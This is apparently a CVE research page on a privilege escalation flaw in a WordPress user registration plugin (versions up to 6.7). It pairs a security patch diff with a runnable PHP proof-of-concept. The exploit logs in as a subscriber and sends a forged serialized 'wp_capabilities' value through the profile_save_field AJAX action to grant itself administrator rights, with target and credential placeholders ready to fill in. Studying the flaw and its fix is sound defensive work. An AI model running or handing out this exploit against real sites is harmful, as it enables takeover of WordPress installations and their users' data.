CVE-2026-0844: Simple User Registration <= 6.7 – Authenticated (Subscriber+) Privilege Escalation via profile_save_field (wp-registration)

--- a/wp-registration/debug-install.php
+++ b/wp-registration/debug-install.php
@@ -0,0 +1,49 @@
+<?php
+/**
+ * Debug helper for WP Registration Plugin
+ * Add this to wp-config.php to enable: define('WPR_DEBUG_INSTALL', true);
+ */
+
+if (defined('WPR_DEBUG_INSTALL') && WPR_DEBUG_INSTALL) {
+
+    add_action('admin_notices', 'wpr_debug_installation_status');
+
+    function wpr_debug_installation_status() {
+        if (!current_user_can('manage_options')) return;
+
+        $default_form_id = get_option('wpr_default_signup_form');
+        $is_installed = get_option('wpr_is_installed');
+        $cpt_exists = post_type_exists('wpr');
+
+        echo '<div class="notice notice-info">';
+        echo '<h3>WP Registration Debug Info</h3>';
+        echo '<p><strong>Default Form ID:</strong> ' . ($default_form_id ? $default_form_id : 'Not set') . '</p>';
+        echo '<p><strong>Installation Status:</strong> ' . ($is_installed ? 'Installed' : 'Not installed') . '</p>';
+        echo '<p><strong>CPT Registered:</strong> ' . ($cpt_exists ? 'Yes' : 'No') . '</p>';
+
+        if ($default_form_id) {
+            $form_exists = get_post($default_form_id);
+            echo '<p><strong>Form Exists:</strong> ' . ($form_exists ? 'Yes' : 'No') . '</p>';
+            if ($form_exists) {
+                echo '<p><strong>Form Title:</strong> ' . $form_exists->post_title . '</p>';
+                echo '<p><strong>Form Status:</strong> ' . $form_exists->post_status . '</p>';
+            }
+        }
+
+        // Show all WPR forms
+        $forms = get_posts(array('post_type' => 'wpr', 'numberposts' => -1));
+        echo '<p><strong>Total WPR Forms:</strong> ' . count($forms) . '</p>';
+
+        if ($forms) {
+            echo '<ul>';
+            foreach ($forms as $form) {
+                echo '<li>ID: ' . $form->ID . ' - ' . $form->post_title . ' (' . $form->post_status . ')</li>';
+            }
+            echo '</ul>';
+        }
+
+        echo '<p><a href="' . admin_url('edit.php?post_type=wpr') . '">View All Forms</a></p>';
+        echo '</div>';
+    }
+}
+?>
--- a/wp-registration/inc/classes/class.dashboard.php
+++ b/wp-registration/inc/classes/class.dashboard.php
@@ -246,6 +246,11 @@

     function without_field_user_form_submit(){

+        // SECURITY FIX: Add authorization check
+        if (!current_user_can('manage_options')) {
+            wp_send_json(array('status' => 'error', 'message' => __('Unauthorized access', 'wpr')));
+        }
+
         if( empty($_POST['wpr_form_type']) ) {

             $response = array('status'=>'error','message'=>__('Please select any Role and Form','wpr'));
--- a/wp-registration/inc/classes/class.profile.php
+++ b/wp-registration/inc/classes/class.profile.php
@@ -411,6 +411,13 @@
 		if (!$user_id) {
 			wp_send_json(array('status' => 'error', 'message' => __('Invalid user ID', 'wpr')));
 		}
+
+		// SECURITY FIX: Authorization check - users can only edit their own profile
+		$current_user_id = get_current_user_id();
+		if ($user_id !== $current_user_id && !current_user_can('edit_users')) {
+			wp_send_json(array('status' => 'error', 'message' => __('Unauthorized access', 'wpr')));
+		}
+
 		$this->set_user_data( $user_id );

 		$profile_data = $_POST['wpr'];
--- a/wp-registration/inc/classes/class.register.php
+++ b/wp-registration/inc/classes/class.register.php
@@ -48,8 +48,8 @@

         $this->userid   = wp_insert_user( $wp_fields );

-        // Setting user password into meta
-        $this->set_meta( 'wpr_password', $wp_fields['user_pass'] );
+        // SECURITY FIX: Don't store passwords in user meta
+        // $this->set_meta( 'wpr_password', $wp_fields['user_pass'] );

         if ( is_wp_error( $this->userid ) ) {

@@ -273,6 +273,11 @@
     // Setting User's meta
     function set_meta( $key, $value ) {

+        // SECURITY FIX: Enhanced protection against capability manipulation
+        if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) {
+            return false;
+        }
+
         // Security check: prevent setting dangerous meta keys
         $dangerous_keys = array(
             'wp_capabilities',
--- a/wp-registration/inc/classes/class.user.php
+++ b/wp-registration/inc/classes/class.user.php
@@ -102,6 +102,11 @@

     function set_meta( $key, $value ) {

+        // SECURITY FIX: Block capability-related keys
+        if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) {
+            return false;
+        }
+
         update_user_meta( $this->id(), $key, $value );
     }

@@ -307,6 +312,22 @@
         // Adding extra fields in meta
         $core_fields = array('ID'    => $this->id() );

+        // SECURITY FIX: Define allowed meta keys to prevent privilege escalation
+        $allowed_meta_keys = array(
+            'first_name',
+            'last_name',
+            'description',
+            'nickname',
+            'display_name',
+            'user_url',
+            'wpr_phone',
+            'wpr_address',
+            'wpr_city',
+            'wpr_state',
+            'wpr_country',
+            'wpr_zip'
+        );
+
         foreach( $profile_data as $type => $fields ) {

             // Skipp username and email fields
@@ -315,6 +336,16 @@
             foreach( $fields as $key => $value ) {
                 // wpr_pa($key);

+                // SECURITY FIX: Block capability-related keys
+                if (strpos($key, 'capabilities') !== false || strpos($key, 'user_level') !== false) {
+                    continue;
+                }
+
+                // SECURITY FIX: Only allow whitelisted meta keys
+                if (!in_array($key, $allowed_meta_keys) && !in_array($key, wpr_get_wp_user_core_fields())) {
+                    continue;
+                }
+
                 if( in_array( $key, wpr_get_wp_user_core_fields()) ) {

                     $core_fields[$key] = $value;
--- a/wp-registration/inc/shortcodes.php
+++ b/wp-registration/inc/shortcodes.php
@@ -63,8 +63,12 @@
     $wpr_params = shortcode_atts(array('id' => null), $atts);
     $form_id = $wpr_params['id'];

+    // Use default form if no ID provided
     if ($form_id === null) {
-        die(__("No form ID found", "wp-registration"));
+        $form_id = get_option('wpr_default_signup_form');
+        if (!$form_id) {
+            return '<p>' . __("No registration form available. Please contact administrator.", "wp-registration") . '</p>';
+        }
     }

     wpr_enqueue_common_assets();
@@ -77,7 +81,20 @@
     wp_register_script('wpr-lib', WPR_URL . "/js/wpr-lib.js", array('jquery'), WPR_VERSION, true);
     wp_enqueue_script('wpr-lib');

+    // Validate form exists and has fields
+    $form_post = get_post($form_id);
+    if (!$form_post || $form_post->post_type !== 'wpr') {
+        return '<div class="wpr-error"><p>' . __("Registration form not found. Please contact administrator.", "wp-registration") . '</p></div>';
+    }
+
     $form = new WPR_Form($form_id);
+
+    // Check if form has any fields by checking meta
+    $form_fields = get_post_meta($form_id, 'wpr_fields', true);
+    if (empty($form_fields)) {
+        return '<div class="wpr-error"><p>' . __("Registration form is not configured. Please contact administrator.", "wp-registration") . '</p></div>';
+    }
+
     $form_title = $form->get_option('wpr_form_heading');
     $form_css = $form->get_option('wpr_form_css');

--- a/wp-registration/wp-registration.php
+++ b/wp-registration/wp-registration.php
@@ -2,8 +2,8 @@
 /*
 Plugin Name: N-Media WP Member Registration
 Plugin URI: http://www.najeebmedia.com
-Description: This plugin allow users to register, login and reset password using ajax based forms. Admin can attach unlimited user meta fields. User can update their profile using without going into admin dashboard.
-Version: 6.7
+Description: This plugin allow users to register, login and reset password using ajax based forms. Admin can attach unlimited user meta fields. User can update their profile using without going into admin dashboard. Version 6.8 includes critical security fixes.
+Version: 6.8
 Author: Najeeb Ahmad
 Text Domain: wp-registration
 Author URI: http://www.najeebmedia.com/
@@ -16,8 +16,8 @@

 define( 'WPR_PATH', untrailingslashit(plugin_dir_path( __FILE__ )) );
 define( 'WPR_URL', untrailingslashit(plugin_dir_url( __FILE__ )) );
-define( 'WPR_VERSION', 6.7);
-define( 'WPR_DEBUG', true );
+define( 'WPR_VERSION', 6.8);
+define( 'WPR_DEBUG', false );
 define( 'LOG_FILE', "./wpr-log.log");


@@ -44,6 +44,9 @@
 // if( file_exists( dirname(__FILE__).'/inc/classes/class.deactivate.php' )) include_once dirname(__FILE__).'/inc/classes/class.deactivate.php';
 include_once WPR_PATH . "/inc/class.deactivate.php";

+// Debug helper
+if( file_exists( dirname(__FILE__).'/debug-install.php' )) include_once dirname(__FILE__).'/debug-install.php';
+
 if( defined('WPR_PATH_PRO') ) {
     // Libraries
     if( file_exists( WPR_PATH_PRO.'/inc/recaptcha.php' )) include_once WPR_PATH_PRO.'/inc/recaptcha.php';
@@ -152,12 +155,22 @@

     function setup_defaults() {

-        // Debugging
+        // Debugging - uncomment these lines to reset installation
         // delete_option('wpr_is_installed');
         // delete_option('wpr_default_signup_form');
         // delete_option('wpr_core_pages');
         // return;

+        // Only run setup once per request
+        static $setup_done = false;
+        if ($setup_done) return;
+        $setup_done = true;
+
+        // Ensure CPT is registered before creating forms
+        if (!post_type_exists('wpr')) {
+            wpr_cpt_register_post();
+        }
+
         // setup registation form
         $this -> install_default_form();

@@ -175,27 +188,34 @@
     // Default registartion form setup function
     function install_default_form() {

+        // Prevent concurrent form creation
+        if (get_transient('wpr_creating_form')) {
+            return;
+        }
+
         $default_form_id = get_option('wpr_default_signup_form');
-
+        $form_exists = false;

-        if( get_option('wpr_is_installed') != '1' ) {
+        if ($default_form_id) {
+            $form_post = get_post($default_form_id);
+            $form_exists = ($form_post && $form_post->post_type === 'wpr');
+        }

-           /**
-                If page does not exist
-                Create it
-            **/
-
-            if ( ! $default_form_id ) {
-
-                $form = array(
-                    'post_type'         => 'wpr',
-                    'post_title'        => 'Default Registration',
-                    'post_status'       => 'publish',
-                    'post_author'       => wpr_get_current_user_id(),
-                );
+        // Create default form if it doesn't exist
+        if (!$form_exists) {
+
+            set_transient('wpr_creating_form', true, 30);
+
+            $form = array(
+                'post_type'         => 'wpr',
+                'post_title'        => 'Default Registration',
+                'post_status'       => 'publish',
+                'post_author'       => wpr_get_current_user_id(),
+            );

-                $form_id = wp_insert_post( $form );
+            $form_id = wp_insert_post( $form );

+            if ( $form_id && ! is_wp_error( $form_id ) ) {
                 update_option('wpr_default_signup_form', $form_id);
                 foreach( wpr_set_defualt_form_array() as $key => $value ) {
                     if ( $key == 'wpr_fields' ) {
@@ -208,9 +228,9 @@

                 $this->setup_shortcode['register'] = wpr_get_default_signup_shortcode();
             }
+
+            delete_transient('wpr_creating_form');
         }
-
-
     }


@@ -312,6 +332,13 @@
     return WPR_MAIN::get_instance();
 }

+// Activation hook to ensure default form is created
+register_activation_hook(__FILE__, 'wpr_plugin_activation');
+function wpr_plugin_activation() {
+    // Clear the option to force form creation
+    delete_option('wpr_default_signup_form');
+}
+
 if( is_admin() ) {
     WPR_Settings();
 }
 No newline at end of file

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0844 - Simple User Registration <= 6.7 - Authenticated (Subscriber+) Privilege Escalation via profile_save_field

<?php

$target_url = "https://vulnerable-wordpress-site.com"; // CHANGE THIS
$username = "attacker_subscriber"; // CHANGE THIS
$password = "attacker_password"; // CHANGE THIS

// Step 1: Authenticate to WordPress
$login_url = $target_url . "/wp-login.php";
$ajax_url = $target_url . "/wp-admin/admin-ajax.php";

// Create a cookie jar for session persistence
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2026_0844');

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Get login page to retrieve nonce (if needed)
$response = curl_exec($ch);

// Extract nonce from login form (simplified - may need adjustment based on site)
preg_match('/name="log" value="([^"]*)"/', $response, $log_matches);
preg_match('/name="pwd" value="([^"]*)"/', $response, $pwd_matches);

// Prepare login POST data
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));

// Execute login
$response = curl_exec($ch);

// Check if login was successful by looking for admin dashboard indicators
if (strpos($response, 'wp-admin') === false && strpos($response, 'Dashboard') === false) {
    echo "[!] Login failed. Check credentials.n";
    unlink($cookie_file);
    exit(1);
}

echo "[+] Successfully logged in as: $usernamen";

// Step 2: Get current user ID (could also be hardcoded if known)
curl_setopt($ch, CURLOPT_URL, $target_url . "/wp-admin/profile.php");
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract user ID from profile page
preg_match('/user_id=([0-9]+)/', $response, $user_id_matches);
$user_id = isset($user_id_matches[1]) ? $user_id_matches[1] : '2'; // Default to ID 2 if not found

echo "[+] Detected user ID: $user_idn";

// Step 3: Exploit the vulnerability via AJAX
$exploit_data = array(
    'action' => 'profile_save_field',
    'user_id' => $user_id,
    'wpr' => array(
        'wp_capabilities' => 'a:1:{s:13:"administrator";b:1;}' // Serialized admin capabilities
    )
);

// Flatten the nested array for POST
$post_fields = array();
$post_fields['action'] = 'profile_save_field';
$post_fields['user_id'] = $user_id;
$post_fields['wpr[wp_capabilities]'] = 'a:1:{s:13:"administrator";b:1;}';

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
echo "[+] Sending privilege escalation payload...n";
echo "[+] AJAX Response: $responsen";

// Step 4: Verify escalation by checking admin access
curl_setopt($ch, CURLOPT_URL, $target_url . "/wp-admin/");
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, 'menu-dashboard') !== false || strpos($response, 'wp-menu-separator') !== false) {
    echo "[SUCCESS] Privilege escalation confirmed! User now has administrator access.n";
} else {
    echo "[!] Privilege escalation may have failed. Check response above.n";
}

// Cleanup
curl_close($ch);
unlink($cookie_file);

?>